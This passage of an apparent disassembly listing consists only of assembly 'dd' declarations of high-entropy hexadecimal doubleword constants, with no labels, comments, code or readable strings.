4ADE54C2h, 48D6777Ah, 0EABE3642h dd 734761DAh, 3E5D5401h, 97B1C8F9h, 0BF3681D6h, 2F1B47A2h dd 0D7F8E42Ah, 0D9B41DFEh, 0F69BA01h, 63E8258Ah, 6D4A9FF3h dd 0C0F14161h, 5A5FD239h, 0FC2E6FC9h, 2E864126h, 0AE4132FCh dd 153EFC2Eh, 18CD7E9h, 80BDB753h, 15ED86F7h, 0F55B8622h dd 85687F55h, 0E9CB4BC2h, 0CB8D725h, 0FD56C687h, 3DE26F0Ch dd 0E9AA71D7h, 15122FB6h, 13B2A2FEh, 0E3EB14D1h, 0CFA884F0h dd 736A2BDh, 20EF3E2Eh, 286BC28Ch, 0B6570508h, 0ADA9C6BFh dd 26095B90h, 0F4047147h, 0FDDA0D12h, 24026A48h, 0DF288568h dd 0DFBC68ECh, 0ECC2604Bh, 26640730h, 0E0654E9h, 407C7517h dd 0C8620596h, 769F2C14h, 8F4C0BD5h, 6E88D7D1h, 3C842971h dd 0FEEE1F8Bh, 87AD457Dh, 233C275Ah, 0B265EBBh, 0E9872231h dd 21C414F8h, 1F6594BFh, 3F2E4608h, 1AD2DFFFh, 5DFD91FAh dd 43896E49h, 0D0EA1E97h, 0A34E5BD1h, 0EF29270Bh, 0B580875Dh dd 315444A0h, 416BDCFh, 5CB1189Dh, 0DBF78055h, 0E20E4090h dd 0C34E2003h, 0E202A0F3h, 7D80F77Dh, 0B84725E3h, 0BF283B60h dd 0B01DF826h, 2A932065h, 66001CFCh, 292D2077h, 907EF049h dd 0E30F0964h, 0BE25E78h, 7BADD300h, 0E9EC039Ch, 519ACE25h dd 12D231AFh, 0A744F940h, 106CD6EEh, 64E94EF5h, 0ADD1EB4Ah dd 1C29DAA7h, 0E8E40213h, 0DBFB9666h, 79E90B72h, 4B1FF6B8h dd 322BEFDDh, 0E152F960h, 310BFD07h, 5D395E05h, 27381BC0h dd 9D5C79h, 6B0AA044h, 2756EA16h, 3396FFA5h, 0BD4FCA92h dd 0F6EA5013h, 15444F62h, 5E0B8185h, 0D914D681h, 0F27A1DFEh dd 6013C518h, 984002CAh, 0A5755221h, 82D5802h, 88826C63h dd 470FF292h, 57FF5E0Eh, 5F2BBD22h, 0CDFD1789h, 0E409893Bh dd 9723FB48h, 0BB83D983h, 0E08883Ah, 4FDC6516h, 0ACD9C2AFh dd 3E53AA49h, 688FB4E7h, 0AE13676Eh, 69E99A98h, 83F72307h dd 5ADD12DEh, 0F877FE6Eh, 0F5880CE2h, 87BCD9CEh, 53A6309Ah dd 0A5A53D39h, 2550C889h, 0EBD49F04h, 0F4BF89E7h, 0EF3D2D5Ch dd 684D0427h, 0C7A373E6h, 98CE2501h, 0A7C8313Ah, 1694897Eh dd 68560B3Dh, 8E678B6h, 4B63264Dh, 4EF69EEBh, 0CE8688EBh dd 21AFBA62h, 0C8F9FDF0h, 610BAAA4h, 14B6F5D4h, 89ECE924h dd 0EA7D56ADh, 49D62D44h, 0FEEF1304h, 94B8CCBBh, 0FF25E04Ah dd 55E69309h, 5B54F8E0h, 132B3CBDh, 8C2708E9h, 10401804h dd 63281EBDh, 0EF890F60h, 18E36A86h, 0AFC0093Bh, 0D4F50BAAh dd 0B1CA9Ah, 8685750h, 6B90B334h, 0BF13DE24h, 50AE7669h dd 0C3091026h, 0C380E941h, 0A029AA73h, 51E681A5h, 0CE0BD0Fh dd 121326F6h, 510E3B77h, 20398710h, 36D3E5C0h, 0E97B0B5Ch dd 0B474D2C9h, 0F3D7F181h, 852AF57Eh, 84D07378h, 0BAD3F9BEh dd 0DF201DB8h, 778D3154h, 7B6C2B5Fh, 0A1D45AE9h, 3AE631FFh dd 0D2F8A4D9h, 0E7C4BFE8h, 0FEDE8612h, 55B26BACh, 1E7AC760h dd 6816C301h, 2A910D18h, 58A0A76Eh, 590E2D6Eh, 63F2BCA3h dd 0ABB664FDh, 65F7F782h, 0F8208C53h, 0CDC0053Ch, 5AE60FF7h dd 9DAA90DAh, 0DDE91622h, 472F8856h, 50E9066Bh, 76B7D110h dd 39D5A5FFh, 332FC287h, 39F052EEh, 5428C848h, 290505BBh dd 7428E9D3h, 8626E4AEh, 33FB2F14h, 575B07F3h, 0CE602E1Ah dd 7C923B4Fh, 0C2EE0B34h, 6C09BC60h, 0E89C3505h, 669730CCh dd 30351312h, 85D64A71h, 0D603E1Fh, 559EB0Ch, 0BCE92528h dd 0E01BA075h, 2F70C320h, 6024D031h, 7B14A1C8h, 0F001B913h dd 7FAF01F9h, 404C12B0h, 6F5837B7h, 1308205Eh, 0E9027868h dd 0C681A471h, 2D825BF0h, 50836E4h, 4DB63075h, 0B878D7BFh dd 6BCEF74Ch, 62522A2Dh, 0A71C6F06h, 95247F86h, 64AFB6FBh dd 0B8863417h, 8991D058h, 5CBF5FFBh, 38014B21h, 7A8AB6E9h dd 563D6AA3h, 0AE263613h, 9C69DB3Dh, 0B1801827h, 5FA72D40h dd 8367C62Fh, 9B513B0Fh, 0F809E33Ah, 0B83572E3h, 37152FC8h dd 55A560F6h, 765D56E2h, 7CA578B8h, 0C9A7AD95h, 56476975h dd 5FF98FB8h, 0FADA1804h, 0A52B6B9Dh, 6CA47FD3h, 88E9125Ah dd 0A6C9AB85h, 271FECA4h, 0ACE8ECF1h, 8ECBE9C1h, 6657402Fh dd 0C80127D4h, 78072D51h, 0E954A0CFh, 0BEF16BEAh, 80AF81DDh dd 69C77EBh, 0E9163B97h, 3B2EA5D1h, 0A4FB27C4h, 8ACB5C0Fh dd 0A744915Bh, 0B840002Ah, 79910C82h, 0B515695h, 96519B36h dd 4FEE5BBDh, 37B25C3Eh, 90F88312h, 641EC77Dh, 108937D8h dd 0BDF7AEDh, 0F633F09Fh, 1D801600h, 293E7C15h, 0C74297CBh dd 9781BCE8h, 3F672F45h, 0EC66E7BDh, 0D8BD22D5h, 5E20FA70h dd 1C4FECE5h, 0EDC0F1CDh, 59EE887Dh, 3A74702Ch, 661304F0h dd 8039AA5Ah, 3AD8D540h, 0BF2C5E9Ah, 6CC0595Fh, 0CE2D4D1Dh dd 70E61275h, 73C1001h, 0EA565A17h, 18922135h, 12CAC429h dd 422F81E9h, 0FEB6F42Eh, 1003B87Dh, 0E27782C4h, 1660511Eh dd 25BAA8FEh, 20B16E54h, 535BF968h, 0D3A3C297h, 0EF5D27B7h dd 0F0421B5Ch, 2179775Fh, 1BE4CD17h, 0F1E40C6h, 0EC5B847Bh dd 0E90860ABh, 99D2B840h, 0E9227CFAh, 5AC5AF5Dh, 1FBAD8D8h dd 0C5EDC3C2h, 0BAABB2E9h, 5B62954Bh, 742D3D61h, 0E9271746h dd 5F3FE12Bh, 0A337EC93h, 775D1766h, 522231BAh, 0EF8C1631h dd 46F4AB25h, 505BB8B7h, 0BD89062Dh, 42928FF4h, 3BF19E0h dd 7E8522ACh, 7015FE31h, 460CDDh, 0FD0B0ABFh, 1DAB914h dd 12F0217h, 3597E9F9h, 56B610Ch, 7BF6FAECh, 1C84F201h dd 225217B3h, 0AFF117ABh, 0D87B98FBh, 3E9470F8h, 3543502Dh dd 0AA0EDF76h, 0E9C761A2h, 96DE1B1Ah, 5CC18FC2h, 82D54923h dd 7D617C74h, 2BD7C09Ah, 13C97E81h, 7519BE5Ah, 0A57A0306h dd 0F257E45Dh, 0DC3D3427h, 0B9E8948Fh, 0F1519227h, 1ED45347h dd 4D563B95h, 0E9848AA7h, 5F44BA0Eh, 0E2560C48h, 0B56510ECh dd 0FFC78012h, 676C560Fh, 7BBBC4CAh, 9BD22760h, 5C53E624h dd 282B5951h, 5B4AE9D0h, 0A9B9BC80h, 2B60936h, 0E28FC183h dd 666125DCh, 3BA47A29h, 3BD1010Dh, 0A994B95Bh, 4078CE4Eh dd 2AF3DCE4h, 616E3528h, 0A2C31708h, 6060C90Fh, 5204450Fh dd 0BBE91FD6h, 0E7891191h, 0AD92F3EAh, 26CF997Dh, 29FF852Eh dd 0F9302EB3h, 9D5FE95Eh, 0D6210903h, 25F0C5B9h, 57D2200Ah dd 284ABCB2h, 6BE58DF1h, 0FE00293Ch, 7EEC0CEh, 304FC680h dd 0B58ACBDh, 1DA5CB26h, 52CC40E6h, 0D42096B2h, 659A0BB8h dd 2526D8B5h, 0F03A094Fh, 22D90683h, 0B0EC265Bh, 0F100A33Dh dd 6E5C149h, 0E42ECD81h, 8E2C2842h, 0F9319616h, 1507835Bh dd 8028F2D1h, 0EE8051B6h, 0F02814FAh, 0E9131A5Ah, 2FD0B149h dd 0BE0799E5h, 0D766AAB2h, 0D10FBFF1h, 505669E0h, 5879B752h dd 78482ACDh, 455197EFh, 97A3FD65h, 68B35F30h, 5C9B5C21h dd 6584F816h, 0CA14B8BEh dd 912DE9CAh, 95545AB0h, 6FF82DFEh, 0E93F48B6h, 5A2CBBB2h dd 8BB1C75Dh, 0FE513968h, 0D2F3E982h, 989EDAFEh, 5303E195h dd 5B856E05h, 6DC27D93h, 48985DAAh, 57823A3Ch, 14F7990Bh dd 4404969Bh, 1A47AEAAh, 0F5094A0Ch, 4B4C8745h, 9E74BE9h dd 0D05D667Dh, 0B3682F68h, 0BF7864FAh, 0A0169920h, 1D30AFE2h dd 0C14F01E6h, 3E28DCF7h, 8FD7D55Ah, 29CD5913h, 10B4F831h dd 27B6AE9h, 3F68DAF6h, 691EC624h, 0FC412053h, 0D14E3046h dd 3B25FB0Eh, 0E505CFC1h, 31BEB906h, 34D60D99h, 20044A1Ch dd 0CA317DE8h, 0B3DEBCABh, 6E2CB951h, 2A56C2F0h, 0E6C162h dd 26542C0h, 947FD135h, 70A0174Bh, 7C84BA7Bh, 9FC3B621h dd 0AB461657h, 5FFB1047h, 6BC7533Bh, 51DABB76h, 0EBEF09DDh dd 77C7685Ch, 0BF723018h, 0C0B57E83h, 0A8F51386h, 975FF880h dd 56168D71h, 0F2E224F2h, 37E65D68h, 12320848h, 62AA8F65h dd 0C608834Ah, 0BE17E08h, 18F9D9F7h, 0BF086C02h, 0D158FF26h dd 0D0F708C2h, 0F0DF4091h, 5607270Ch, 72A927F6h, 0C1ECCB13h dd 0B550B85Fh, 2FFD7DE0h, 0E5FE2966h, 8B306EE0h, 0E985C631h dd 0E3E80A07h, 7697A64Bh, 48A1640h, 7A81E241h, 4B1104E1h dd 0C7D1F735h, 2454C176h, 7C73301Bh, 65D46C17h, 6858E601h dd 0EDF030E0h, 6023E816h, 90FA0C4Ah, 29DE2A0h, 5FCE01F5h dd 0C1059FD3h, 73A87A0Bh, 42154801h, 21F20105h, 0C080634h dd 791482h, 887C14A0h, 0E813B32Eh, 2BD53345h, 91FD61AEh dd 53D7C259h, 9D5EA7FCh, 0C257DE2Fh, 0C5F75068h, 62CAA479h dd 66F5B672h, 847D9DD8h, 0CDF85994h, 0BCCBFB4h, 9EB46BD1h dd 0FC4BEEFFh, 892E4ED7h, 0EB62E024h, 73EACBC0h, 0B26D3F56h dd 2AE98A5h, 381375A1h, 0A080424Ah, 0B460D88h, 8A22E92Fh dd 5B3A674Bh, 0E6B270ACh, 0E892DCD0h, 0B91D118Eh, 4E571730h dd 0A2F1BC87h, 0F1614155h, 8365E87Ah, 844C5468h, 0E480ECBBh dd 0F62E3CACh, 0C8C79DFAh, 0F2FD39Fh, 0F0A9EB1Ch, 895B1654h dd 98E2F9C2h, 2F0CF17Ch, 424053A1h, 4DC4C3CAh, 0EE35AD3h dd 0C2A64F7Eh, 0E04F5EECh, 5980BBB4h, 0E184A55h, 6E0C0D5Fh dd 0F135CFFCh, 0BA51AEA5h, 2A8382A5h, 0EF33EACh, 0A7D2107Bh dd 0D34CB20Eh, 0C4A5E2EBh, 9FE777EAh, 65F58925h, 0C5E18A9Eh dd 0A7ED80F4h, 898C28C0h, 0E631F5F9h, 0FD0CB9E4h, 0C64CC08h dd 639A3DECh, 3BE23124h, 0C627EAB0h, 3A3015DBh, 39A10C48h dd 0D15D4B5Eh, 2D6456Ah, 79F0FDBDh, 5ADEE09Fh, 399B453h dd 493E34E9h, 0C9FEEDA2h, 0CABFCE3Fh, 1BA81435h, 6B95016Fh dd 91B9020Eh, 61E90B84h, 0A27BEB2h, 4851D883h, 29072431h dd 0C246F83Dh, 828005A0h, 0D241DBBAh, 0C5AE4F4Eh, 0F2FC00CCh dd 4FD2419h, 3EE5F4C7h, 0D4BF3924h, 5A0809CEh, 3164D756h dd 61B1D2E4h, 158EEAFh, 0ED4521C6h, 5BDF10CEh, 45FB4E31h dd 0CD7774E0h, 0C54F3011h, 8B261F59h, 213A315Fh, 4F58FC6Fh dd 784439BAh, 2FF35FBDh, 0E90201C8h, 55FEFD02h, 1BA63FDBh dd 72395709h, 36F0447h, 0FA4F2F52h, 0F22570C1h, 0B798C6Eh dd 51150B9Dh, 220945B1h, 59242988h, 0E20E17FBh, 0FEE9B0EDh dd 5BAB9D5Eh, 0D090C8DDh, 3CE5B794h, 0F43897BEh, 0FD1777F6h dd 0D68EE29h, 0F34B4A3Eh, 98101176h, 0B44ED835h, 49BDC117h dd 4B2D5A61h, 3337D84h, 147AF668h, 880F6215h, 525F5CA2h dd 0AEA32F2Eh, 2DD8FBC0h, 85262E0Bh, 60E55104h, 32D65EA8h dd 0E9090EAEh, 0F9FEB612h, 0E8C19539h, 20E15228h, 50BD263Fh dd 47C5BD63h, 49C0CB93h, 26A2D5Ah, 29335E6Ch, 78E05F0h dd 0F50969A3h, 541368F0h, 0FD2562B3h, 17C1F842h, 0BFA93E3Fh dd 0F9261C4h, 6F6442BBh, 7FD8433h, 81A200AEh, 0B7B206F3h dd 977EF2B5h, 33A2301Eh, 56A5177h, 88E8215Dh, 8D581D69h dd 0F9F7C209h, 42E67955h, 0DE0B9986h, 288A03B6h, 48E145A2h dd 730005A9h, 717F49B5h, 0A18301BAh, 0FA2972C0h, 0A4DDE6E9h dd 0EFD5F0F0h, 0AFD2A1EAh, 0DE07550Ch, 15E9C229h, 0B800077Ch dd 149B6F44h, 0BB33F989h, 0FEF6718Fh, 2DF8BF31h, 0BE06886Fh dd 886BC641h, 8BBDF3A0h, 6826DF80h, 84FAE5D4h, 685A8AB2h dd 607F3DAFh, 170496EAh, 0F1015494h, 8186284h, 5492E92Fh dd 1568653h, 593978BEh, 9FF78926h, 3CC6EFF6h, 0F40C296Dh dd 0CC182AE0h, 0B615A91h, 9A00564Ch, 31DA7984h, 158F74C0h dd 0B5890A99h, 0A19C8482h, 0D099957h, 0C5070A62h, 0A2096D67h dd 2AF662FCh, 0C1791D82h, 0CC020931h, 0E25FB198h, 173D459h dd 3E23D135h, 22F82F4Ah, 749453F4h, 529091EEh, 609B4055h dd 0E9160EF5h, 1BC169Bh, 244058CBh, 5973CD29h, 0ABB0EA4Bh dd 0E7150EE4h, 0FC61811Bh, 2E69176Eh, 843EFBF1h, 0AA91013Ah dd 31A9F4BBh, 584C2C97h, 4E1D4CF6h, 908492ECh, 50A4CCE4h dd 42E36800h, 5582B69h, 96BD1221h, 0F956AAD4h, 0F87A56F5h dd 60BEE464h, 2232C63Eh, 171E6748h, 18894097h, 0D26D4E6Eh dd 2A97A292h, 39F88A56h, 0A61E9A5Ch, 5E920C74h, 2E0C6395h dd 0F383B12h, 8061EF5h, 5814810Ch, 17B38B7Ah, 44EED168h dd 8DE2E05Eh, 0DFCFE073h, 9C6E3D0h, 63629DA4h, 0AC09F141h dd 45CE412Fh, 3A728060h, 92E89985h, 3DFB080Bh, 0A580ABF8h dd 189D4F81h, 0B0358E1Eh, 32E927FDh, 0E778409h, 0FCCB6BA1h dd 8A452DCAh, 93FC2Dh, 5251C3FEh, 0B10AB8B2h, 16D1309Dh dd 2CEF73EFh, 0EB098095h, 427AE9BAh, 4BE657A6h, 0EEFB2EF6h dd 0A4A11CF2h, 0C46C63EFh, 441E7AB8h, 0C2652C9Ch, 0F67C34FFh dd 657009A5h, 7D45AF99h, 640E905h, 0B9F37293h, 0EB04BF9Dh dd 7F83E30Eh, 8181D11Dh, 204580F6h, 0BF87421h, 0C9DF2F04h dd 0F20D9ED4h, 0AF60BAADh, 5CC240A6h, 28BF8BDh, 699DF581h dd 0F3C53AF3h, 0B768E6ADh, 874E5E70h, 2BE9BCCh, 93F3E805h dd 0B0F7F531h, 0D0FF7092h, 0A84BCCADh, 89D5327Fh, 6E754053h dd 315880C9h, 1C0C109Ah, 786FDE28h, 0AE4B3DADh, 6601AA5Bh dd 44232554h, 1C2EF42Ah, 0DDF2F44Eh, 0A0EE49DFh, 0FE9C107Ch dd 5D4982C9h, 0F852852Dh, 0F11609A0h, 11C8A9E9h, 28DC072Ch dd 0B2B151C8h, 0CCC0F180h, 7F96A348h, 0B8685240h, 19132F2Ch dd 0B4628CF0h, 45D7890Fh, 7A22B034h, 7A986037h, 0C250FA7Eh dd 89B5F08h, 2B966800h, 64E94154h, 0AA5F97AAh, 5A84B75Ch dd 0A6EAC729h, 0B6F0D869h, 32772430h, 32E1250Bh, 0E955C446h dd 5809EC24h, 9652FBBh, 5DCE8321h, 5E0C9AC1h, 2F1808D3h dd 2B922E28h, 0E33A4200h, 2595057Eh, 7A9258A3h, 4660D42Dh dd 0A2B8E2D1h, 3F2C3D40h, 0DA975BBEh, 0C5E9B8DCh, 0E1ECD1F7h dd 0E8184131h, 0CA5D4006h, 0A3026491h, 0C9B70F69h, 0CB92E05Fh dd 7BC71881h, 18B32661h, 0F9F63314h, 28373CB2h, 1B03A693h dd 0E80C9BD8h, 8351070Eh, 0AE0B7EA3h, 2F639180h, 4C75D21Dh dd 90B83801h, 5B30ADB1h, 0FC563E87h, 0DE8B62FEh, 0F982D581h dd 80583101h, 0BF66F38Ah, 606180D0h, 38B17689h, 0A09F181h dd 0F2AAF33h, 6E864028h, 90D88B0Ch, 11AD679Dh, 24FEF1FCh dd 0FF0869Fh, 98A31685h, 6D0BC132h, 0FC81CDB0h, 9E00AA27h dd 0BBA0417Fh, 35B28392h, 818839AEh, 0FF8155h, 0A69B40h dd 92DE0E43h, 77B88C68h, 5BFC1C03h, 0BB562FBCh, 0C03FFA9Ah dd 1148BCh, 5232AB66h, 430FB075h, 0CB533Eh, 30B5257Dh dd 7FB37155h, 0D3910F0Ah dd 678A11DCh, 6F567804h, 0FA24EB0Eh, 8D18B877h, 1A780255h dd 0F231502Bh, 8B4563C0h, 0E270C100h, 0DA486FFAh, 48E1910h dd 81D297Ah, 5BC344DDh, 7B9B2284h, 34110942h, 84721C5h dd 0F5917D05h, 17AB2400h, 1D97250Eh, 967A147Eh, 0BA321B00h dd 0A3361E28h, 0B5291733h, 0FE1F03C8h, 2A09CE6h, 1C01A0EAh dd 29AAF40Ch, 63F0FB13h, 211F000Ah, 9560CC6Dh, 6005CF3h dd 1D644903h, 48598662h, 0C00A124h, 6E13D18Ch, 4B03EEF2h dd 0FF389FB7h, 0A515A016h, 442F00C9h, 653AADD5h, 0D07C1757h dd 0DF0075E0h, 0FB7A5448h, 3822B20h, 5D08803Bh, 9AFB4ADAh dd 728A0AF0h, 5EE22C00h, 708CC446h, 80CB0222h, 0FA0B0424h dd 0F55937C0h, 0EEC86D50h, 455C8300h, 4B627BFBh, 1865E801h dd 99B044Eh, 517F6880h, 3ED09C00h, 46D9C2CCh, 0E1CA0FD4h dd 0E320D650h, 0D5D3DD55h, 0F3018F7Ch, 391516D8h, 0C31FCFh dd 6783EA40h, 1421C019h, 0DC18D31Ch, 0F4781380h, 0DF269h dd 0EF363B4Ah, 59E1FB40h, 0C00C172h, 8EDC91A4h, 0A6E55Dh dd 1F936188h, 7C08A537h, 2A19FD00h, 0C3FF1B57h, 0FA1008Ah dd 0D42D7B98h, 0E71C2735h, 1FFE68CFh, 9000B792h, 0ACFE19BBh dd 98B40353h, 6A8F34Ah, 2ED3DEF8h, 69CFF115h, 0F7A008Ch dd 0FF7FC9E1h, 5C85F8E6h, 8800ABFEh, 90DAF21Eh, 0E50FFD0Bh dd 36D310Fh, 0E06E5660h, 3A765E68h, 7F8072E4h, 716F79F1h dd 4F54702Bh, 0C3FCDD8Ch, 1FA00084h, 66C78A09h, 0BB006904h dd 3A49F91h, 4DE1CBh, 802750DDh, 0DE6C5D31h, 18F36400h dd 0B5C33773h, 2AB49276h, 0CD40106h, 78A3D181h, 5A00E930h dd 2CBEA7E0h, 0F26149BAh, 0FEA005Bh, 0CF4852F4h, 8800C1DDh dd 1890C9Fh, 3C3470EFh, 0E489E626h, 5800B298h, 770C836Dh dd 0A92B0500h, 89CFD5E3h, 97BE003Fh, 441E9003h, 6A008628h dd 4561C819h, 0FFA1F3h, 8E7B0CF5h, 0B817425Ah, 1833B400h dd 0ECF34079h, 0E6E40003h, 0A081F53Eh, 0C8CA2A9Ah, 0F418CF1h dd 0E0EC713Ch, 0C749005Fh, 0AA98D360h, 45006338h, 328643FEh dd 0A8151Ch, 77854BCCh, 8C105AA0h, 0FCF7C4A9h, 43006001h dd 0B7649CF6h, 0A50B4Ah, 7AF4826Bh, 588CAD06h, 0D1D67800h dd 537B8F22h, 0DB270098h, 2A051B13h, 0DD00EE9Bh, 0A108A0C9h dd 16357FC5h, 8198B1h, 0DA24A22Ah, 18004359h, 0C5A5214Ah dd 6014F566h, 0F089D132h, 0DAE4B188h, 0EB78E39h, 43C097D9h dd 90C49BFFh, 0CDA4E8h, 0BB0D0B18h, 0BD0F2B63h, 132F6700h dd 1D3971C3h, 3E7600D0h, 0FE6D080Dh, 100E261h, 0CFA00EACh dd 4F19E20h, 3449D61Ah, 0D07880B2h, 88000852h, 0AF3556FDh dd 3DF670F5h, 7A80AAE8h, 4DB65B61h, 0A900D273h, 0D44B9F1Dh dd 48BBDEB8h, 7000280Fh, 0B5F33DECh, 0F5E4F9FBh, 0D3F4AF00h dd 591B1D43h, 95FC057Eh, 0A9D008h, 8A3E68C8h, 0DF0E0946h dd 0E0A5E347h, 8EFC324Eh, 5898ECh, 0E8C38762h, 0E91F3BA2h dd 44D17300h, 6139BBE0h, 500A0C51h, 0BC604172h, 2609C5F8h dd 0E76EA99h, 1256E064h, 53DB906h, 9BF8FAE8h, 0B2B00026h dd 0F066FC03h, 7CF1DF5Ch, 66E7CB2Eh, 0E8EF0600h, 0EAE4444Eh dd 97A60F0Dh, 0F8CEBD57h, 4209DA62h, 65DC2B60h, 0CD00AAEEh dd 0A5EF0B3Ah, 8E0D25h, 153F4452h, 93DA1A66h, 4FBCD813h dd 82ECC014h, 80B7115Dh, 0E824CADDh, 7717F77h, 520D4D93h dd 0B2A02EA2h, 36A5D310h, 5BACC800h, 2038B902h, 0F16500A1h dd 0D20A718Ch, 422631CBh, 6704F8FBh, 84C11959h, 60CA1DF4h dd 1211CDh, 16B16071h, 14CF6377h, 0B83D4A0h, 846D7800h dd 8A737DF7h, 17AECF6h, 7E881A91h, 70940395h, 0FB072846h dd 0FC465D76h, 814A6143h, 18626B7Dh, 0C3055B3Eh, 801EBF69h dd 53F5C060h, 19852703h, 0B09986E1h, 0E2D87Dh, 0E6022E98h dd 0A641467Fh, 4863CB24h, 0D0AE3C00h, 0FA572B0Dh, 5664012Ah dd 0F63AEC16h, 0F844C81Fh, 0E291BA00h, 0C981AC96h, 378B0634h dd 0D1668498h, 0DF73EB00h, 0E55FECD5h, 5EF23BDBh, 82F9E200h dd 6BFDE6F0h, 7CF1FB00h, 0C5DE6390h, 486474AEh, 0E4007CC9h dd 0F172BCD3h, 2BF8C3DAh, 1D57D218h, 5D28D0h, 0A329B7BBh dd 4B87061Eh, 0D6003D70h, 0FD9FDD27h, 2450586Eh, 28C8EEBh dd 0CBF3ECAh, 0A71F0700h, 2F9B4CAAh, 7CDF8000h, 73B4C261h dd 646A250Fh, 85BF80DCh, 0C0F6FD2Bh, 3DA89940h, 5600CDB1h dd 933550B5h, 719AF1h, 193472BEh, 0B40E5B77h, 0F30108B0h dd 0A17CED65h, 3AC8E078h, 0D07D031Fh, 30BD2431h, 0B440869Ah dd 0A13C50Ch, 7C0046BEh, 4C12936Fh, 8CDE0730h, 3004DFEDh dd 5DCCE81Dh, 76901300h, 7C311AF5h, 6E7A2E35h, 2500B840h dd 64BC3DA4h, 8A00F086h, 0C754F699h, 493113h, 564863FFh dd 3E92C41Dh, 72E6A00h, 0CBE15ACCh, 409A00D3h, 306B26B9h dd 0A100DA16h, 0A6B02AB8h, 39B72FBDh, 0EB80F39Ah, 0B4DCB6Dh dd 1100DF03h, 0BC2E6525h, 1B6884h, 1A6E8AC2h, 3C738FC7h dd 7B97CF00h, 0F8A0D829h, 95480E4Ch, 0E5F754Bh, 0A1437D53h dd 0AE90875Dh, 4D058C62h, 0D82059E6h, 4EF900C0h, 50B1007Eh dd 18659F05h, 0D749668h, 52611500h, 88114DA7h, 0CD6F008Ah dd 3B6D8040h, 66EEE963h, 0A8FA4A00h, 0DD22541h, 0C00500BAh dd 6E487930h, 0E3004BDFh, 138D674Dh, 71BBD3h, 4C96DCEDh dd 9130B1C6h, 0CE277507h, 809B5D83h, 9CBDFB24h, 9E694045h dd 0F50D3303h, 0F0132BABh, 18162AB1h, 94AB4FEh, 12F192Fh dd 120C782Ch, 2789727Ch, 908707E4h, 838E0593h, 173F853Eh dd 2400A443h, 6FCF7EE9h, 8AD03ADBh, 27DFD980h, 0CC5A4321h dd 6E15200h, 8860E78h, 109448A3h, 0ED74BE02h, 0ADE06C67h dd 4312C5B4h, 0A40FF535h, 0B731E3E3h, 1850F946h, 0C4AFCCh dd 0A630DC5Dh, 72820E64h, 3D97D01Ch, 0CC6C037Fh, 80E95A96h dd 8BFC6Eh, 2E80335Ch, 3C4682F8h, 590D3713h, 15B78100h dd 0E0B3B269h, 9BE106BDh, 0C866E7E0h, 37CAB40Bh, 0F81401C5h dd 0A0F42432h, 19900EF1h, 0E2206667h, 7FBE03B8h, 0A6C26400h dd 0FD41F358h, 0F4A458BFh, 0F09FC80Bh, 0B514A40Fh, 155FA500h dd 94DF798Fh, 2850464Ch, 5702F316h, 9A88E31Bh, 0E70C6004h dd 377DABh, 1946C275h, 567BFCF3h, 4351C300h, 5CDC266Dh dd 78FE44h, 0DE8CB5F7h, 7E395492h, 0C0BC4130h, 304AE4EBh dd 8968471Fh, 76179F7Ah, 10407DC7h, 91F83F55h, 0F07B2404h dd 8C9C1E58h, 0FF412D9Ah, 67082300h, 363AA8F5h, 84DE242Bh dd 8FDF01ECh, 0EC40A728h, 5300E9D8h, 4286F799h, 0A606B0h dd 8237EAC0h, 1EEDB691h, 483284EEh, 6053C03Eh, 38EE689Ch dd 8B00947Dh, 1BA33119h, 653080B2h, 0B90AF1C6h, 6EA5138Ah dd 799C00E9h, 0C640D1F8h, 0E07AB800h, 0B9534CCFh, 5539249Ah dd 15A0039h, 24DD4F22h, 16235F16h, 86009424h, 31AFF03Ch dd 526200E7h, 6C0E6FD3h, 420FCF36h, 0E19B3B35h, 924C6E1h dd 3C327871h, 84C05160h, 62E43A10h, 1FDA170Eh, 0F01A40D5h dd 0CB9F741h, 0CCAA379Eh, 2E074949h, 0BF4E538Ch, 0E835B630h dd 0C40403DEh, 45F1B929h, 2A010EF0h, 7856F39h, 48BBCF69h dd 0F1C5510h, 0F8A70ED1h, 0FD40D5ACh, 70DB75B3h, 0BCA8F00h dd 3F97FA5Ch, 6E443990h, 0ED3D9500h, 8BD8F493h, 851D3275h dd 0C9C01CAAh, 77576BBEh, 0B71E009Ch, 50F2479Bh, 0CC98FE34h dd 2D7ED102h, 6021728Eh dd 0CDFBEAh, 3F6DBF6Ah, 89A323DCh, 90F440FDh, 38FDD012h dd 2A2E0EA0h, 20960F7Ah, 0B21A2ECh, 0BE42168Ch, 575B00A5h dd 0F57AC443h, 1660DE00h, 0BB048292h, 0FE30B850h, 9BBF50D0h dd 0E05E0077h, 0F265B8A3h, 0E16028A6h, 0FA5F6760h, 0E8EE0729h dd 0F8BB035h, 5E4DAE41h, 0E470F2D7h, 0E155A800h, 388B5998h dd 7441749Ah, 0E9070C2Eh, 0DC48159Eh, 6C0F9218h, 39F0EEB9h dd 58E08135h, 0AC491F75h, 2C6D2E00h, 67BB7D6Ch, 0A0FDF51Dh dd 7A642040h, 635A0024h, 7D05CC2Eh, 39006B49h, 5D6F66A0h dd 0FCE42D52h, 0F28A351Ah, 0C2A60158h, 0BD6BEB92h, 28A2A879h dd 5A105880h, 922833B8h, 500014E9h, 6722EAF5h, 634E2Ch dd 1B418E6Ch, 0F3C17523h, 0F4950200h, 14E270C7h, 0BD6600EAh dd 514E2173h, 6C00CBCAh, 792CD408h, 1EBF4907h, 9F13068Fh dd 0BA7B0068h, 69843B75h, 110A8D0Eh, 0FA0202D7h, 85A8A096h dd 1EA699EAh, 0AE26E39h, 43C8EB34h, 0C13C6DC5h, 1AE7017Bh dd 0E4EC3441h, 646219Dh, 1112506Bh, 584F5C17h, 1C19E80Ah dd 0C5AD3507h, 691113Ch, 96EB9B63h, 8F06812Dh, 38FA2297h dd 0F6A57111h, 6FAA2020h, 1CD12502h, 136A0E57h, 0E4AA9EE0h dd 2B180302h, 0E1A12CF7h, 0A89D72A7h, 37120D66h, 2DE8E4D0h dd 3A366218h, 1D8D5E10h, 7E7D4E76h, 135E092h, 247BA596h dd 2C42F41Dh, 96696D01h, 17E39FB2h, 0F06638F0h, 10796726h dd 65894C0Dh, 74CEF900h, 42229402h, 0CB400FBh, 0F236D159h dd 0EC016360h, 0EBC017C8h, 0E1832A95h, 0A3CAE88Bh, 5E9C080Ch dd 60F91894h, 0C6A62137h, 4D01FCB5h, 2B5CCDDBh, 81E85918h dd 0F8C50031h, 0A6664308h, 90C46B3Eh, 8DC02680h, 1C5D8B1Dh dd 8018E4D8h, 5C77B0EDh, 0E83973DEh, 521A00C6h, 4603CCEFh dd 0A6880081h, 33D57729h, 2254C58Ah, 2150B2D0h, 980055D3h dd 110609A1h, 0D5949CCh, 